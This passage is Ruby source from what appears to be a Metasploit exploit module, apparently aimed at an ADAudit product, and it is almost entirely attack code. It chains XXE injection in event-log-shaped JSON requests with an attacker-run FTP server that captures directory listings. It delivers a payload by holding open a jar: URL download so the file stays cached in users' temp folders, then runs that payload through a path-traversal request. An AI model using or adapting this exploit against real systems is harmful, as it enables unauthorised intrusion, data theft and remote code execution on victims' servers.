send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"<br /> )<br /><br /> if res&.code != 200<br /> fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")<br /> end<br /> ensure<br /> # Kill the upload thread<br /> if t<br /> begin<br /> t.kill<br /> rescue StandardError<br /> # Do nothing if we fail to kill the thread<br /> end<br /> end<br /> end<br /> end<br /><br /> def get_directory_listing(folder)<br /> print_status("Getting directory listing for #{folder} via XXE and FTP")<br /><br /> # Generate a unique callback URL<br /> path = "/#{rand_text_alpha(rand(8..15))}.dtd"<br /> full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"<br /><br /> # Send the username anonymous and no password so the server doesn't log in<br /> # with the password "Java1.8.0_51@" which is detectable<br /> # We use `end_tag` at the end so we can detect when the listing is over<br /> end_tag = rand_text_alpha(rand(8..15))<br /> ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"<br /> serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")<br /><br /> # Start a server to handle the reverse FTP connection<br /> ftp_server = Rex::Socket::TcpServer.create(<br /> 'LocalPort' => datastore['SRVPORT_FTP'],<br /> 'LocalHost' => datastore['SRVHOST'],<br /> 'Comm' => select_comm,<br /> 'Context' => {<br /> 'Msf' => framework,<br /> 'MsfExploit' => self<br /> }<br /> )<br /><br /> # Trigger the XXE to get file listings<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,<br /> 'ctype' => 'application/json',<br /> 'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>")<br /> )<br /><br /> if res&.code != 200<br /> fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")<br /> end<br /><br /> ftp_client = nil<br /> begin<br /> # Wait for a connection with a timeout<br /> select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])<br /><br /> unless select_result && !select_result.empty?<br /> print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")<br /> return nil<br /> end<br /><br /> # Accept the connection<br /> ftp_client = ftp_server.accept<br /><br /> # Print a standard banner<br /> ftp_client.print("220 Microsoft FTP Service\r\n")<br /><br /> # We need to flip this so we can get a directory listing over multiple packets<br /> directory_listing = nil<br /><br /> loop do<br /> select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])<br /><br /> # Check if we ran out of data<br /> if !select_result || select_result.empty?<br /> # If we got nothing, we're sad<br /> if directory_listing.nil? || directory_listing.empty?<br /> print_warning('Did not receive data from our reverse FTP connection')<br /> return nil<br /> end<br /><br /> # If we have data, we're happy and can break<br /> break<br /> end<br /><br /> # Receive the data that's waiting<br /> data = ftp_client.recv(256)<br /> if data.empty?<br /> # If we got nothing, we're done receiving<br /> break<br /> end<br /><br /> # Match behavior with ftp://test.rebex.net<br /> if data =~ /^USER ([a-zA-Z0-9_.-]*)/<br /> ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n")<br /> elsif data =~ /^PASS /<br /> ftp_client.print("230 User logged in.\r\n")<br /> elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/<br /> ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n")<br /> elsif data =~ /^EPSV ALL/<br /> ftp_client.print("200 ESPV command successful.\r\n")<br /> elsif data =~ /^EPSV/ # (no space)<br /> ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n")<br /> elsif data =~ /^RETR (.*)/m<br /> # Store the start of the listing<br /> directory_listing = Regexp.last_match(1)<br /> else<br /> # Have we started receiving data?<br /> # (Disable Rubocop, because I think it's way more confusing to<br /> # continue the elsif train)<br /> if directory_listing.nil? # rubocop:disable Style/IfInsideElse<br /> # We shouldn't really get here, but if we do, just play dumb and<br /> # keep the client talking<br /> ftp_client.print("230 User logged in.\r\n")<br /> else<br /> # If we're receiving data, just append<br /> directory_listing.concat(data)<br /> end<br /> end<br /><br /> # Break when we get the PORT command (this is faster than timing out,<br /> # but doesn't always seem to work)<br /> if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m<br /> directory_listing = Regexp.last_match(1)<br /> break<br /> end<br /> end<br /> ensure<br /> ftp_server.close<br /> if ftp_client<br /> ftp_client.close<br /> end<br /> end<br /><br /> # Handle FTP errors (which thankfully aren't as common as they used to be)<br /> unless ftp_client<br /> print_warning("Didn't receive expected FTP connection")<br /> return nil<br /> end<br /><br /> if directory_listing.nil? || directory_listing.empty?<br /> vprint_warning('FTP client connected, but we did not receive any data over the socket')<br /> return nil<br /> end<br /><br /> # Remove PORT commands, split at \r\n or \n, and remove empty elements<br /> directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?)<br /> end<br /><br /> def search_for_payloads(users)<br /> return users.flat_map do |u|<br /> dir = "/users/#{u}/appdata/local/temp"<br /> # This will search for the payload, but right now just print stuff<br /> listing = get_directory_listing(dir)<br /> unless listing<br /> vprint_warning("Couldn't get directory listing for #{dir}")<br /> next []<br /> end<br /><br /> listing<br /> .select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }<br /> .map { |f| File.join(dir, f) }<br /> end<br /> end<br /><br /> def upload_payload(payload, queue)<br /> t = framework.threads.spawn('adaudit-payload-deliverer', false) do<br /> c = nil<br /> begin<br /> # We use a TCP socket here so we can hold the socket open after the HTTP<br /> # conversation has concluded. That way, the server caches the file in<br /> # the user's temp folder while it waits for more data<br /> http_server = Rex::Socket::TcpServer.create(<br /> 'LocalPort' => datastore['SRVPORT_HTTP2'],<br /> 'LocalHost' => srv_host,<br /> 'Comm' => select_comm,<br /> 'Context' => {<br /> 'Msf' => framework,<br /> 'MsfExploit' => self<br /> }<br /> )<br /><br /> # Wait for the reverse connection, with a timeout<br /> select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])<br /> unless select_result && !select_result.empty?<br /> fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")<br /> end<br /><br /> # Receive and discard the HTTP request<br /> c = http_server.accept<br /> c.recv(1024)<br /> c.print "HTTP/1.1 200 OK\r\n"<br /> c.print "Connection: keep-alive\r\n"<br /> c.print "\r\n"<br /> c.print payload<br /><br /> # This will notify the other thread that something has arrived<br /> queue.push(true)<br /><br /> # This has to stay open as long as it takes to enumerate all users'<br /> # directories to find then execute the payload. ~5 seconds works on<br /> # a single-user system, but I increased this a lot for production.<br /> # (This thread should be killed when the exploit completes in any case)<br /> Rex.sleep(60)<br /> ensure<br /> http_server.close<br /> if c<br /> c.close<br /> end<br /> end<br /> end<br /><br /> # Trigger the XXE to get file listings<br /> path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"<br /> full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,<br /> 'ctype' => 'application/json',<br /> 'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>")<br /> )<br /><br /> if res&.code != 200<br /> fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")<br /> end<br /><br /> return t<br /> end<br /><br /> def serve_http_file(path, respond_with = '')<br /> # do not use SSL for the attacking web server<br /> if datastore['SSL']<br /> ssl_restore = true<br /> datastore['SSL'] = false<br /> end<br /><br /> start_service({<br /> 'Uri' => {<br /> 'Proc' => proc do |cli, _req|<br /> send_response(cli, respond_with)<br /> end,<br /> 'Path' => path<br /> }<br /> })<br /><br /> datastore['SSL'] = true if ssl_restore<br /> end<br /><br /> def create_json_request(xml_payload)<br /> [<br /> {<br /> 'DomainName' => datastore['domain'],<br /> 'EventCode' => 4688,<br /> 'EventType' => 0,<br /> 'TimeGenerated' => 0,<br /> 'Task Content' => xml_payload<br /> }<br /> ].to_json<br /> end<br />end<br /></code></pre>